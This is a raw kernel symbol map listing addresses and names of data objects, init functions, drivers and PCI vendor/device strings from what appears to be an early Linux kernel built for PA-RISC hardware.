1029ec9c D unix_net_table
1029ecf4 d destroy_wait
1029ed00 D xprt_sock_lock
1029ed04 D xprt_lock
1029ed08 D rpc_xprt_pending
1029ed10 d xid___1
1029ed14 d schedq
1029ed1c d childq
1029ed24 d delay_queue
1029ed2c d rpciod_idle
1029ed38 d rpciod_killer
1029ed44 d rpciod_sema
1029ed58 D rpc_queue_lock
1029ed5c D rpc_sched_lock
1029ed60 d rpciod_running
1029ed74 d auth_flavors
1029ed94 D rpc_credcache_lock
1029ed98 D authnull_ops
1029edc0 D authunix_ops
1029ede8 d authtab
1029ee08 D pmap_lock
1029ee0c d pmap_procedures
1029ee5c d pmap_version2
1029ee68 d pmap_version
1029ee74 D pmap_program
1029ee88 d inited___0
1029ee8c d proc_net_rpc
1029ee90 d debug_table
1029ef6c d sunrpc_table
1029efc4 D net_table
1029f0cc D __atomic_lock
1029f0d0 D _ctype
1029f1d0 ? __exitcall_exit_shmem_fs
1029f1d4 ? __exitcall_exit_pipe_fs
1029f1d8 ? __exitcall_exit_som_binfmt
1029f1dc ? __exitcall_exit_script_binfmt
1029f1e0 ? __exitcall_exit_elf_binfmt
1029f1e4 ? __exitcall_exit_proc_fs
1029f1e8 ? __exitcall_exit_ext2_fs
1029f1ec ? __exitcall_exit_iso9660_fs
1029f1f0 ? __exitcall_rs_fini
1029f1f4 ? __exitcall_tulip_cleanup
1029f1f8 ? __exitcall_parport_gsc_exit_module
1029f1fc ? __exitcall_exit_scsi
1029f200 ? __exitcall_exit_this_scsi_driver
1029f204 ? __exitcall_exit_this_scsi_driver
1029f208 ? __exitcall_exit_this_scsi_driver
1029f20c ? __exitcall_exit_st
1029f210 ? __exitcall_exit_sd
1029f214 ? __exitcall_exit_sr
1029f218 ? __exitcall_exit_sg
1029f21c ? __exitcall_cdrom_exit
1029f220 ? __exitcall_linear_exit
1029f224 ? __exitcall_raid0_exit
1029f228 ? __exitcall_raid1_exit
1029f22c ? __exitcall_raid5_exit
1029f230 ? __exitcall_af_unix_exit
1029f240 A __start___ex_table
102a07f8 A __start___ksymtab
102a07f8 A __stop___ex_table
102a07f8 A __stop___ksymtab
102a4000 A __init_begin
102a4040 ? profile_setup
102a407c ? name_to_kdev_t
102a4130 ? root_dev_setup
102a4214 ? checksetup
102a42a4 ? calibrate_delay
102a4448 ? readonly
102a4474 ? readwrite
102a44a0 ? debug_kernel
102a44c4 ? quiet_kernel
102a44e8 ? parse_options
102a46bc ? start_kernel
102a4894 ? do_initcalls
102a48e0 ? do_basic_setup
102a49bc ? .L1525
102a4a60 ? .L1541
102a4ac0 ? reboot_setup
102a4ac4 ? mem_limit_func
102a4b8c ? setup_bootmem
102a4f74 ? mem_init
102a509c ? pagetable_init
102a52b4 ? gateway_init
102a532c ? paging_init
102a53f4 ? cache_init
102a5448 ? .L727
102a54a4 ? .L728
102a54d4 ? .L733
102a54e0 ? .L734
102a54ec ? register_fallback_cpu
102a55a0 ? collect_boot_cpu_data
102a55e4 ? .L875
102a55f4 ? .L876
102a5604 ? .L877
102a5634 ? .L878
102a56a0 ? .L883
102a56b0 ? .L884
102a56c4 ? .L885
102a5710 ? .L886
102a5710 ? setup_cmdline
102a57e8 ? dma_ops_init
102a5868 ? .L905
102a587c ? .L919
102a587c ? setup_arch
102a5900 ? .L921
102a5958 ? .L923
102a5958 ? check_ivt
102a5a08 ? trap_init
102a5a50 ? time_init
102a5b1c ? init_IRQ
102a5b34 ? pcxl_dma_init
102a5bd0 ? lba_init
102a5bf0 ? lba_driver_callback
102a5dbc ? iosapic_load_irt
102a5e8c ? iosapic_init
102a5eec ? sba_init
102a5f1c ? ccio_init
102a5f4c ? init_idle
102a5ff8 ? sched_init
102a6098 ? fork_init
102a60bc ? proc_caches_init
102a61e8 ? panic_setup
102a6214 ? console_setup
102a6268 ? .L643
102a63a4 ? .L667
102a63a4 ? softirq_init
102a642c ? reserve_setup
102a6514 ? sysctl_init
102a6544 ? uid_cache_init
102a65c4 ? signals_init
102a6610 ? page_cache_init
102a6748 ? kmem_cache_init
102a67c8 ? .L672
102a67fc ? .L675
102a67fc ? kmem_cache_sizes_init
102a6898 ? .L681
102a68e4 ? .L684
102a691c ? .L691
102a6938 ? .L692
102a6938 ? kmem_cpucache_init
102a6940 ? bootmem_bootmap_pages
102a6954 ? init_bootmem_core
102a69d4 ? reserve_bootmem_core
102a6a14 ? .L683
102a6ad0 ? .L698
102a6ad0 ? free_bootmem_core
102a6b08 ? .L700
102a6b9c ? .L706
102a6bc8 ? .L718
102a6be4 ? .L719
102a6be4 ? __alloc_bootmem_core
102a6c30 ? .L721
102a6ee4 ? .L775
102a6ee4 ? free_all_bootmem_core
102a7094 ? init_bootmem_node
102a70ac ? reserve_bootmem_node
102a70c8 ? free_bootmem_node
102a70e4 ? free_all_bootmem_node
102a70fc ? init_bootmem
102a7138 ? reserve_bootmem
102a7164 ? free_bootmem
102a7190 ? free_all_bootmem
102a71b0 ? __alloc_bootmem
102a723c ? __alloc_bootmem_node
102a7284 ? swap_setup
102a72cc ? kswapd_init
102a7320 ? free_area_init_core
102a781c ? free_area_init
102a7858 ? setup_mem_frac
102a78e4 ? free_area_init_node
102a7924 ? init_shmem_fs
102a7954 ? .L1118
102a799c ? .L1119
102a79a4 ? buffer_init
102a7b48 ? bdflush_init
102a7bcc ? .L2197
102a7bfc ? .L2199
102a7c20 ? .L2200
102a7c28 ? .L2201
102a7c28 ? mount_root
102a7cd8 ? .L1538
102a7db0 ? .L1562
102a7e00 ? .L1564
102a7e40 ? .L1571
102a7e90 ? .L1573
102a7ee8 ? .L1593
102a7f00 ? .L1594
102a7f18 ? .L1595
102a7f30 ? .L1596
102a7fd4 ? .L1597
102a80e8 ? change_root
102a8170 ? .L1736
102a8270 ? .L1748
102a8298 ? .L1757
102a82b8 ? .L1758
102a82e8 ? .L1739
102a8314 ? .L1741
102a8328 ? .L1759
102a8330 ? .L1760
102a8330 ? bdev_init
102a83a4 ? init_pipe_fs
102a83c8 ? .L929
102a8408 ? .L935
102a8410 ? fasync_init
102a8464 ? filelock_init
102a84c0 ? dcache_init
102a8644 ? vfs_caches_init
102a8710 ? inode_init
102a8898 ? kiobuf_setup
102a88e4 ? dnotify_init
102a8938 ? filesystem_setup
102a8950 ? init_som_binfmt
102a8970 ? init_script_binfmt
102a8990 ? init_elf_binfmt
102a89b0 ? proc_root_init
102a8a54 ? proc_tty_init
102a8b04 ? proc_misc_init
102a8c6c ? init_proc_fs
102a8c90 ? .L650
102a8cd0 ? .L656
102a8cd8 ? partition_setup
102a8d04 ? .L1597
102a8d1c ? .L1598
102a8d1c ? init_ext2_fs
102a8d3c ? init_iso9660_fs
102a8d5c ? root_nfs_parse_addr
102a8dcc ? .L810
102a8e20 ? .L817
102a8e2c ? root_nfs_parse
102a8fb4 ? root_nfs_name
102a90ec ? root_nfs_addr
102a914c ? root_nfs_init
102a918c ? nfs_root_setup
102a91e0 ? .L856
102a9234 ? .L859
102a9234 ? root_nfs_getport
102a92c4 ? root_nfs_ports
102a9320 ? .L867
102a93dc ? .L878
102a93ec ? root_nfs_get_handle
102a944c ? .L884
102a945c ? .L882
102a9484 ? .L885
102a949c ? .L886
102a94a0 ? nfs_root_data
102a9510 ? ipc_init
102a9538 ? ipc_init_ids
102a95f4 ? msg_init
102a9644 ? sem_init
102a969c ? shm_init
102a96e8 ? blk_dev_init
102a97a8 ? device_init
102a97e4 ? no_initrd
102a97f4 ? ramdisk_start_setup
102a9820 ? load_ramdisk
102a9854 ? prompt_ramdisk
102a9888 ? ramdisk_size
102a98b4 ? ramdisk_size2
102a98cc ? ramdisk_blocksize
102a98f8 ? rd_init
102a9ae0 ? identify_ramdisk_image
102a9c5c ? .L941
102a9cf4 ? .L958
102a9d78 ? .L959
102a9d80 ? rd_load_image
102a9f04 ? .L964
102a9f84 ? .L1014
102a9fdc ? .L972
102aa098 ? .L987
102aa20c ? .L1015
102aa224 ? .L1016
102aa234 ? .L1017
102aa250 ? .L1018
102aa26c ? rd_load_disk
102aa2b0 ? .L1019
102aa300 ? .L1024
102aa300 ? rd_load
102aa31c ? rd_load_secondary
102aa338 ? initrd_load
102aa360 ? malloc
102aa37c ? free
102aa394 ? gzip_mark
102aa398 ? gzip_release
102aa39c ? fill_inbuf
102aa41c ? flush_window
102aa4f4 ? error
102aa524 ? crd_load
102aa5ec ? .L1630
102aa61c ? .L1631
102aa620 ? console_init
102aa6b4 ? tty_init
102aa898 ? memory_devfs_register
102aa8ac ? chr_dev_init
102aa924 ? raw_init
102aa950 ? pty_init
102aaee8 ? misc_init
102aaf5c ? rand_initialize
102ab078 ? vcs_init
102ab0cc ? console_map_init
102ab10c ? .L1125
102ab130 ? .L1131
102ab130 ? con_init
102ab55c ? con_init_devfs
102ab5c0 ? printk_pnp_dev_id
102ab62c ? start_pci_pnp_board
102ab6b0 ? .L1815
102ab78c ? .L1833
102ab7b0 ? .L1834
102ab7d4 ? .L1835
102ab7d8 ? pci_plx9050_fn
102ab86c ? .L1842
102ab89c ? .L1845
102ab8a8 ? pci_siig10x_fn
102ab928 ? pci_siig20x_fn
102ab9dc ? pci_inteli960ni_fn
102aba40 ? pci_timedia_fn
102abad4 ? probe_serial_pci
102abbd0 ? rs_init
102abfd0 ? .L1932
102ac114 ? .L1958
102ac134 ? serial_console_setup
102ac3d8 ? serial_console_init
102ac3f8 ? kbd_init
102ac530 ? lasi_ps2_register
102ac59c ? .L679
102ac5a0 ? .L680
102ac630 ? .L685
102ac648 ? .L686
102ac64c ? gsc_ps2_init
102ac670 ? hil_keyb_init
102ac81c ? lp_setup
102ac880 ? .L878
102ac91c ? .L894
102ac93c ? .L895
102ac94c ? lp_init
102aca70 ? .L943
102acabc ? .L945
102acac8 ? .L939
102acaf8 ? .L946
102acaf8 ? rtc_generic_init
102acb4c ? tulip_init
102acbb0 ? probe_list
102acc40 ? ethif_probe
102acd20 ? network_probe
102acd60 ? network_ldisc_init
102acd64 ? special_device_init
102acd68 ? net_device_init
102acd90 ? loopback_init
102ace68 ? i82596_probe
102ad078 ? .L1736
102ad0b8 ? .L1747
102ad118 ? lasi_i82596_probe
102ad134 ? asp_i82596_probe
102ad150 ? parport_setup
102ad400 ? parport_init
102ad430 ? parport_init_chip
102ad4a4 ? .L834
102ad504 ? .L838
102ad514 ? parport_gsc_init
102ad540 ? parport_gsc_init_module
102ad560 ? scsi_logging_setup
102ad5bc ? scsi_host_no_insert
102ad678 ? .L1128
102ad6a4 ? .L1139
102ad6a4 ? scsi_host_no_init
102ad764 ? scsi_setup
102ad774 ? init_scsi
102ad870 ? scsi_luns_setup
102ad8c0 ? pci_get_base_address
102ad8fc ? remap_pci_mem
102ad914 ? unmap_pci_mem
102ad918 ? ncr_script_fill
102ad9d4 ? ncr_script_copy_and_bind
102adda8 ? ncr_Symbios_setup_target
102ade30 ? ncr_Tekram_setup_target
102adebc ? ncr_save_initial_setting
102adff4 ? ncr_prepare_setting
102ae390 ? .L1285
102ae558 ? .L1361
102ae568 ? .L1362
102ae8b0 ? ncr_attach
102aebe8 ? .L1365
102aef4c ? .L1533
102aef98 ? .L1534
102af1a8 ? .L1535
102af1d8 ? .L1536
102af1dc ? ncr_regtest
102af260 ? ncr_snooptest
102af47c ? ncrgetfreq
102af624 ? ncr_getfreq
102af680 ? ncr_getclock
102af868 ? ncr_getpciclock
102af8c0 ? get_setup_token
102af940 ? sym53c8xx_setup
102afacc ? .L3888
102afc00 ? .L3953
102afc40 ? .L3954
102afc6c ? ncr_print_driver_setup
102afd7c ? sym53c8xx_detect
102afee8 ? .L3978
102b00f0 ? .L4042
102b0118 ? sym53c8xx_pci_init
102b01a0 ? .L4044
102b03fc ? .L4084
102b047c ? .L4093
102b0558 ? .L4125
102b05fc ? .L4126
102b06f4 ? .L4127
102b06f8 ? ncr_get_nvram
102b07a4 ? S24C16_set_bit
102b08a4 ? S24C16_start
102b0914 ? S24C16_stop
102b095c ? S24C16_do_bit
102b09f0 ? S24C16_write_ack
102b0a70 ? S24C16_read_ack
102b0ae8 ? S24C16_write_byte
102b0b6c ? S24C16_read_byte
102b0c10 ? sym_read_S24C16_nvram
102b0d28 ? .L4491
102b0e5c ? .L4504
102b0e5c ? sym_read_Symbios_nvram
102b0f00 ? T93C46_Clk
102b0f84 ? T93C46_Read_Bit
102b0ffc ? T93C46_Write_Bit
102b109c ? T93C46_Stop
102b1124 ? T93C46_Send_Command
102b11a4 ? T93C46_Read_Word
102b1234 ? T93C46_Read_Data
102b12e0 ? sym_read_T93C46_nvram
102b13b8 ? sym_read_Tekram_nvram
102b13f0 ? .L4579
102b1478 ? .L4583
102b147c ? init_this_scsi_driver
102b14cc ? init_this_scsi_driver
102b151c ? zalon_scsi_callback
102b15c0 ? .L860
102b1640 ? .L864
102b1640 ? pci_get_base_address
102b167c ? remap_pci_mem
102b1694 ? unmap_pci_mem
102b1698 ? get_setup_token
102b1718 ? sym53c8xx__setup
102b18a4 ? .L1051
102b19d8 ? .L1116
102b1a18 ? .L1117
102b1a44 ? ncr_print_driver_setup
102b1b54 ? sym53c8xx_pci_init
102b1bdc ? .L1159
102b1d8c ? .L1183
102b1e24 ? .L1193
102b1edc ? .L1222
102b1f54 ? .L1223
102b1fe0 ? .L1224
102b1fe4 ? sym53c8xx__detect
102b2114 ? .L1231
102b2200 ? .L1262
102b2210 ? ncr_script_fill
102b2494 ? ncr_script_copy_and_bind
102b27a4 ? ncr_prepare_setting
102b2fbc ? ncr_attach
102b323c ? .L1548
102b331c ? .L1536
102b3458 ? .L1596
102b3584 ? .L1597
102b3584 ? ncr_regtest
102b35f0 ? ncr_snooptest
102b37b8 ? ncrgetfreq
102b399c ? ncr_getclock
102b3b7c ? ncr53c8xx_setup
102b3b94 ? ncr53c8xx_detect
102b3bd4 ? init_this_scsi_driver
102b3c24 ? st_setup
102b3d98 ? init_st
102b3dc8 ? init_sd
102b3df4 ? init_sr
102b3e20 ? sg_def_reserved_size_setup
102b3e7c ? init_sg
102b3ebc ? cdrom_init
102b3ee0 ? pci_read_bridge_bases
102b3fdc ? .L931
102b4060 ? .L933
102b40d8 ? .L923
102b415c ? .L941
102b4170 ? .L942
102b4184 ? .L943
102b4184 ? pci_alloc_bus
102b41dc ? pci_add_new_bus
102b4280 ? pci_scan_bridge
102b4350 ? .L962
102b444c ? .L973
102b445c ? pci_scan_device
102b452c ? pci_scan_slot
102b4594 ? .L1006
102b464c ? .L1016
102b4660 ? pci_do_scan_bus
102b4740 ? pci_bus_exists
102b47ac ? pci_alloc_primary_bus
102b4834 ? pci_scan_bus
102b4884 ? pci_init
102b48d0 ? pci_setup
102b495c ? quirk_passive_release
102b4974 ? .L37
102b49f0 ? .L42
102b49f0 ? quirk_isa_dma_hangs
102b4a10 ? .L44
102b4a2c ? .L46
102b4a2c ? quirk_nopcipci
102b4a70 ? quirk_triton
102b4ab4 ? quirk_viaetbf
102b4af8 ? quirk_natoma
102b4b3c ? quirk_s3_64M
102b4b74 ? quirk_io_region
102b4bd4 ? quirk_ali7101_acpi
102b4c38 ? quirk_piix4_acpi
102b4c9c ? quirk_vt82c586_acpi
102b4d00 ? quirk_vt82c686_acpi
102b4d84 ? quirk_piix3_usb
102b4dd4 ? quirk_vt82c598_id
102b4e08 ? pci_name_device
102b4e58 ? .L36
102b4ecc ? .L52
102b4ef0 ? .L53
102b4ef4 ? pci_claim_resource
102b4f6c ? .L650
102b4f98 ? .L651
102b4f98 ? pdev_sort_resources
102b4ff0 ? .L676
102b50b8 ? .L695
102b50bc ? pdev_enable_device
102b51dc ? pci_proc_init
102b5298 ? pbus_assign_resources_sorted
102b54d0 ? pci_setup_bridge
102b5508 ? .L680
102b566c ? .L688
102b5674 ? pbus_assign_resources
102b5764 ? pci_assign_unassigned_resources
102b5808 ? pci_bridge_check_io
102b589c ? linear_init
102b58c0 ? raid0_init
102b58e4 ? raid1_init
102b5908 ? raid5_init
102b592c ? md_run_setup
102b5934 ? raid_setup
102b5a08 ? md_init
102b5ae8 ? .L3102
102b5b20 ? .L3104
102b5b20 ? gsc_init
102b5bf4 ? dino_init
102b5c18 ? dino_bios_init
102b5c1c ? dino_set_bars
102b5d00 ? dino_card_fixup
102b5d90 ? dino_fixup_bus
102b5e9c ? dino_card_init
102b6034 ? dino_bridge_init
102b60fc ? dino_common_init
102b61a4 ? .L870
102b6268 ? .L871
102b627c ? .L872
102b6290 ? .L873
102b6294 ? dino_driver_callback
102b6374 ? .L879
102b63c8 ? .L884
102b63f4 ? busdevices_init
102b6438 ? lasi_init_irq
102b64a8 ? lasi_init_chip
102b6604 ? asp_init_chip
102b66f4 ? .L684
102b6720 ? .L689
102b6724 ? register_wax_driver
102b6744 ? wax_init_irq
102b6770 ? wax_init_chip
102b689c ? .L684
102b68c0 ? .L685
102b68d8 ? lan_init_chip
102b6998 ? .L883
102b69d0 ? .L884
102b69d4 ? register_lan_drivers
102b69f4 ? serial_init_chip
102b6b14 ? probe_serial_gsc
102b6b38 ? hil_init_chip
102b6ba0 ? register_hil_drivers
102b6bc0 ? register_wax_eisa_driver
102b6be0 ? sock_init
102b6c58 ? sk_init
102b6c94 ? .L1781
102b6cf4 ? .L1787
102b6cf4 ? skb_init
102b6d6c ? netdev_boot_setup
102b6e00 ? net_dev_init
102b6f48 ? .L2029
102b7014 ? .L2056
102b7070 ? dev_mcast_init
102b70ac ? dst_init
102b70cc ? eth_setup
102b7160 ? ip_rt_init
102b73ec ? inet_initpeers
102b74d8 ? ip_init
102b7508 ? tcp_init
102b7914 ? tcp_v4_init
102b7a00 ? arp_init
102b7a78 ? icmp_init
102b7b74 ? devinet_init
102b7bcc ? inet_init
102b7d84 ? ip_fib_init
102b7dfc ? fib_hash_init
102b7ec8 ? ic_open_devs
102b7f18 ? .L1099
102b7f50 ? .L1102
102b7f74 ? .L1116
102b7fd0 ? .L1130
102b7fe0 ? .L1131
102b7fe8 ? .L1132
102b7ffc ? .L1108
102b8088 ? .L1121
102b80a4 ? .L1133
102b80b8 ? .L1134
102b80fc ? .L1135
102b80fc ? ic_close_devs
102b8130 ? .L1138
102b8194 ? .L1146
102b81b8 ? .L1150
102b81c0 ? .L1151
102b81c0 ? ic_dev_ioctl
102b8200 ? ic_route_ioctl
102b8240 ? ic_setup_if
102b8368 ? ic_setup_routes
102b83d8 ? .L1173
102b8448 ? .L1174
102b844c ? ic_defaults
102b8464 ? .L1176
102b8490 ? .L1178
102b8524 ? .L1192
102b855c ? .L1193
102b855c ? ic_bootp_init_ext
102b85d0 ? ic_bootp_send_if
102b8740 ? .L1211
102b87d8 ? .L1198
102b8804 ? .L1213
102b881c ? .L1214
102b8824 ? ic_bootp_send
102b8874 ? ic_bootp_string
102b88c0 ? ic_do_bootp_ext
102b8a34 ? .L1228
102b8ac0 ? .L1283
102b8ad8 ? .L1284
102b8ad8 ? ic_bootp_recv
102b8b08 ? .L1287
102b8b38 ? .L1307
102b8b60 ? .L1317
102b8c54 ? .L1318
102b8c80 ? .L1319
102b8d54 ? ic_dynamic
102b9004 ? ip_auto_config
102b90ec ? ic_proto_name
102b917c ? ip_auto_config_setup
102b92b4 ? .L1391
102b9380 ? .L1424
102b938c ? nfsaddrs_config_setup
102b93a4 ? af_unix_init
102b9404 ? __setup_str_profile_setup
102b9410 ? root_dev_names
102b9628 ? __setup_str_root_dev_setup
102b9630 ? __setup_str_readonly
102b9634 ? __setup_str_readwrite
102b9638 ? __setup_str_debug_kernel
102b9640 ? __setup_str_quiet_kernel
102b9648 ? __setup_str_panic_setup
102b9650 ? __setup_str_console_setup
102b965c ? __setup_str_reserve_setup
102b9668 ? __setup_str_setup_mem_frac
102b9674 ? nfs_root_name
102b9774 ? servaddr
102b9778 ? nfs_path
102b9b78 ? nfs_data
102b9d20 ? nfs_port
102b9d24 ? mount_port
102b9d28 ? root_int_opts
102b9d78 ? root_bool_opts
102b9e38 ? __setup_str_nfs_root_setup
102b9e44 ? __setup_str_no_initrd
102b9e50 ? __setup_str_ramdisk_start_setup
102b9e60 ? __setup_str_load_ramdisk
102b9e70 ? __setup_str_prompt_ramdisk
102b9e80 ? __setup_str_ramdisk_size
102b9e8c ? __setup_str_ramdisk_size2
102b9e9c ? __setup_str_ramdisk_blocksize
102b9eb0 ? serial_options
102b9edc ? lasi_psaux_drivers_for
102b9f24 ? eisa_probes
102b9f2c ? mca_probes
102b9f34 ? isa_probes
102b9f3c ? parport_probes
102b9f44 ? m68k_probes
102b9f4c ? sgi_probes
102b9f54 ? mips_probes
102b9f5c ? pci_probes
102b9f64 ? io
102b9f88 ? irq
102b9fa8 ? dma
102b9fc8 ? parport_setup_ptr
102b9fcc ? __setup_str_parport_setup
102b9fd8 ? parport_count
102b9fdc ? __setup_str_scsi_logging_setup
102b9fec ? __setup_str_scsi_setup
102b9ff8 ? __setup_str_scsi_luns_setup
102ba008 ? driver_safe_setup
102ba0a8 ? Tekram_sync
102ba0b8 ? script0
102bae70 ? scripth0
102bb468 ? setup_token
102bb4fc ? __setup_str_sym53c8xx_setup
102bb508 ? ncr_chip_table
102bb658 ? ncr_chip_ids
102bb678 ? __setup_str_param_setup
102bb680 ? driver_safe_setup
102bb720 ? setup_token
102bb7b4 ? ncr_chip_table
102bb904 ? script0
102bc7b0 ? scripth0
102bdc08 ? __setup_str_ncr53c8xx_setup
102bdc14 ? ncr_chip_ids
102bdc30 ? parms
102bdc50 ? __setup_str_st_setup
102bdc54 ? __setup_str_sg_def_reserved_size_setup
102bdc6c ? __setup_str_pci_setup
102bdc74 ? pci_fixups
102bddc4 ? __vendorstr_0000
102bddd8 ? __vendorstr_001a
102bddf4 ? __vendorstr_0033
102bde04 ? __vendorstr_003d
102bde24 ? __vendorstr_0070
102bde44 ? __vendorstr_0100
102bde58 ? __vendorstr_0675
102bde64 ? __devicestr_06751700
102bde78 ? __devicestr_06751702
102bde8c ? __vendorstr_0a89
102bdea4 ? __vendorstr_0e11
102bdec0 ? __devicestr_0e110001
102bded4 ? __devicestr_0e110002
102bdee8 ? __devicestr_0e110508
102bdf04 ? __devicestr_0e111000
102bdf28 ? __devicestr_0e112000
102bdf4c ? __devicestr_0e113032
102bdf5c ? __devicestr_0e113033
102bdf6c ? __devicestr_0e113034
102bdf7c ? __devicestr_0e114000
102bdf8c ? __devicestr_0e116010
102bdfa4 ? __devicestr_0e117020
102bdfb4 ? __devicestr_0e11a0ec
102bdfd4 ? __devicestr_0e11a0f0
102bdffc ? __devicestr_0e11a0f3
102be018 ? __devicestr_0e11a0f7
102be030 ? __devicestr_0e11a0f8
102be04c ? __devicestr_0e11ae10
102be068 ? __devicestr_0e11ae29
102be070 ? __devicestr_0e11ae2a
102be074 ? __devicestr_0e11ae2b
102be07c ? __devicestr_0e11ae31
102be09c ? __devicestr_0e11ae32
102be0b0 ? __devicestr_0e11ae33
102be0d0 ? __devicestr_0e11ae34
102be0e0 ? __devicestr_0e11ae35
102be0f8 ? __devicestr_0e11ae40
102be110 ? __devicestr_0e11ae43
102be138 ? __devicestr_0e11ae69
102be140 ? __devicestr_0e11ae6c
102be14c ? __devicestr_0e11ae6d
102be168 ? __devicestr_0e11b011
102be188 ? __devicestr_0e11b012
102be19c ? __devicestr_0e11b030
102be1b0 ? __devicestr_0e11b04a
102be1cc ? __devicestr_0e11b0c6
102be1f4 ? __devicestr_0e11b0d7
102be208 ? __devicestr_0e11f130
102be224 ? __devicestr_0e11f150
102be240 ? __vendorstr_1000
102be264 ? __devicestr_10000001
102be26c ? __devicestr_10000002
102be274 ? __devicestr_10000003
102be27c ? __devicestr_10000004
102be284 ? __devicestr_10000005
102be290 ? __devicestr_10000006
102be298 ? __devicestr_1000000a
102be2a0 ? __devicestr_1000000b
102be2a8 ? __devicestr_1000000c
102be2b0 ? __devicestr_1000000d
102be2b8 ? __devicestr_1000000f
102be2c0 ? __devicestr_10000012
102be2c8 ? __devicestr_10000020
102be2e4 ? __devicestr_1000008f
102be2ec ? __devicestr_10000701
102be2f4 ? __devicestr_10000702
102be318 ? __devicestr_10000901
102be320 ? __devicestr_10001000
102be328 ? __vendorstr_1001
102be330 ? __devicestr_10010010
102be364 ? __devicestr_10010011
102be390 ? __devicestr_10010012
102be3b0 ? __devicestr_10010013
102be3e8 ? __devicestr_10010014
102be410 ? __devicestr_10010015
102be434 ? __devicestr_10010016
102be450 ? __devicestr_10010017
102be470 ? __devicestr_10019100
102be48c ? __vendorstr_1002
102be4a4 ? __devicestr_10024158
102be4b8 ? __devicestr_10024354
102be4cc ? __devicestr_10024358
102be4e4 ? __devicestr_10024554
102be4fc ? __devicestr_10024654
102be508 ? __devicestr_10024742
102be520 ? __devicestr_10024744
102be534 ? __devicestr_10024747
102be540 ? __devicestr_10024749
102be54c ? __devicestr_1002474c
102be554 ? __devicestr_1002474d
102be560 ? __devicestr_1002474e
102be56c ? __devicestr_1002474f
102be574 ? __devicestr_10024750
102be588 ? __devicestr_10024751
102be59c ? __devicestr_10024752
102be5a4 ? __devicestr_10024753
102be5ac ? __devicestr_10024754
102be5cc ? __devicestr_10024755
102be5ec ? __devicestr_10024756
102be610 ? __devicestr_10024757
102be620 ? __devicestr_10024758
102be638 ? __devicestr_10024759
102be644 ? __devicestr_1002475a
102be654 ? __devicestr_10024c42
102be66c ? __devicestr_10024c44
102be684 ? __devicestr_10024c46
102be698 ? __devicestr_10024c47
102be6ac ? __devicestr_10024c49
102be6bc ? __devicestr_10024c4d
102be6d8 ? __devicestr_10024c4e
102be6f4 ? __devicestr_10024c50
102be704 ? __devicestr_10024c51
102be714 ? __devicestr_10024c52
102be72c ? __devicestr_10024c53
102be740 ? __devicestr_10024c54
102be754 ? __devicestr_10025041
102be760 ? __devicestr_10025042
102be76c ? __devicestr_10025043
102be778 ? __devicestr_10025044
102be784 ? __devicestr_10025045
102be790 ? __devicestr_10025046
102be79c ? __devicestr_10025047
102be7a8 ? __devicestr_10025048
102be7b4 ? __devicestr_10025049
102be7c0 ? __devicestr_1002504a
102be7cc ? __devicestr_1002504b
102be7d8 ? __devicestr_1002504c
102be7e4 ? __devicestr_1002504d
102be7f0 ? __devicestr_1002504e
102be7fc ? __devicestr_1002504f
102be808 ? __devicestr_10025050
102be814 ? __devicestr_10025051
102be820 ? __devicestr_10025052
102be82c ? __devicestr_10025053
102be838 ? __devicestr_10025054
102be844 ? __devicestr_10025055
102be850 ? __devicestr_10025056
102be85c ? __devicestr_10025057
102be868 ? __devicestr_10025058
102be874 ? __devicestr_10025245
102be880 ? __devicestr_10025246
102be88c ? __devicestr_1002524b
102be898 ? __devicestr_1002524c
102be8a4 ? __devicestr_10025345
102be8b0 ? __devicestr_10025346
102be8bc ? __devicestr_10025347
102be8c8 ? __devicestr_10025348
102be8d4 ? __devicestr_1002534b
102be8e0 ? __devicestr_1002534c
102be8ec ? __devicestr_1002534d
102be8f8 ? __devicestr_1002534e
102be904 ? __devicestr_10025354
102be910 ? __devicestr_10025654
102be924 ? __devicestr_10025655
102be938 ? __devicestr_10025656
102be94c ? __vendorstr_1003
102be95c ? __devicestr_10030201
102be964 ? __vendorstr_1004
102be978 ? __devicestr_10040005
102be984 ? __devicestr_10040006
102be990 ? __devicestr_10040007
102be99c ? __devicestr_10040008
102be9b0 ? __devicestr_10040009
102be9bc ? __devicestr_1004000c
102be9cc ? __devicestr_1004000d
102be9dc ? __devicestr_10040101
102be9e4 ? __devicestr_10040102
102be9ec ? __devicestr_10040103
102be9f4 ? __devicestr_10040104
102be9fc ? __devicestr_10040105
102bea04 ? __devicestr_10040200
102bea0c ? __devicestr_10040280
102bea14 ? __devicestr_10040304
102bea34 ? __devicestr_10040305
102bea5c ? __devicestr_10040306
102bea8c ? __devicestr_10040702
102beaa8 ? __vendorstr_1005
102beac0 ? __devicestr_10052064
102bead0 ? __devicestr_10052128
102beadc ? __devicestr_10052301
102beae4 ? __devicestr_10052302
102beaec ? __devicestr_10052364
102beaf4 ? __devicestr_10052464
102beb00 ? __devicestr_10052501
102beb10 ? __vendorstr_1006
102beb1c ? __vendorstr_1007
102beb34 ? __vendorstr_1008
102beb3c ? __vendorstr_100a
102beb54 ? __vendorstr_100b
102beb78 ? __devicestr_100b0001
102beb80 ? __devicestr_100b0002
102beb90 ? __devicestr_100b000e
102beba4 ? __devicestr_100b000f
102bebc8 ? __devicestr_100b0011
102bebe0 ? __devicestr_100b0012
102bebf0 ? __devicestr_100bd001
102bebfc ? __vendorstr_100c
102bec0c ? __devicestr_100c3202
102bec20 ? __devicestr_100c3205
102bec34 ? __devicestr_100c3206
102bec48 ? __devicestr_100c3207
102bec5c ? __devicestr_100c3208
102bec64 ? __devicestr_100c4702
102bec6c ? __vendorstr_100d
102bec80 ? __vendorstr_100e
102bec88 ? __devicestr_100e9000
102bec90 ? __devicestr_100e9001
102bec98 ? __devicestr_100e9100
102beca0 ? __vendorstr_1010
102becb4 ? __vendorstr_1011
102becd4 ? __devicestr_10110001
102bece4 ? __devicestr_10110002
102becfc ? __devicestr_10110004
102bed10 ? __devicestr_10110007
102bed28 ? __devicestr_10110008
102bed38 ? __devicestr_10110009
102bed54 ? __devicestr_1011000a
102bed68 ? __devicestr_1011000d
102bed78 ? __devicestr_1011000f
102bed80 ? __devicestr_10110014
102beda0 ? __devicestr_10110016
102bedb0 ? __devicestr_10110019
102bedc4 ? __devicestr_10110021
102bedd4 ? __devicestr_10110022
102bede4 ? __devicestr_10110023
102bedf4 ? __devicestr_10110024
102bee04 ? __devicestr_10110025
102bee14 ? __devicestr_10110026
102bee24 ? __devicestr_10110045
102bee34 ? __devicestr_10110046
102bee44 ? __devicestr_10111065
102bee58 ? __vendorstr_1012
102bee70 ? __vendorstr_1013
102bee80 ? __devicestr_10130038
102bee88 ? __devicestr_10130040
102beeac ? __devicestr_1013004c
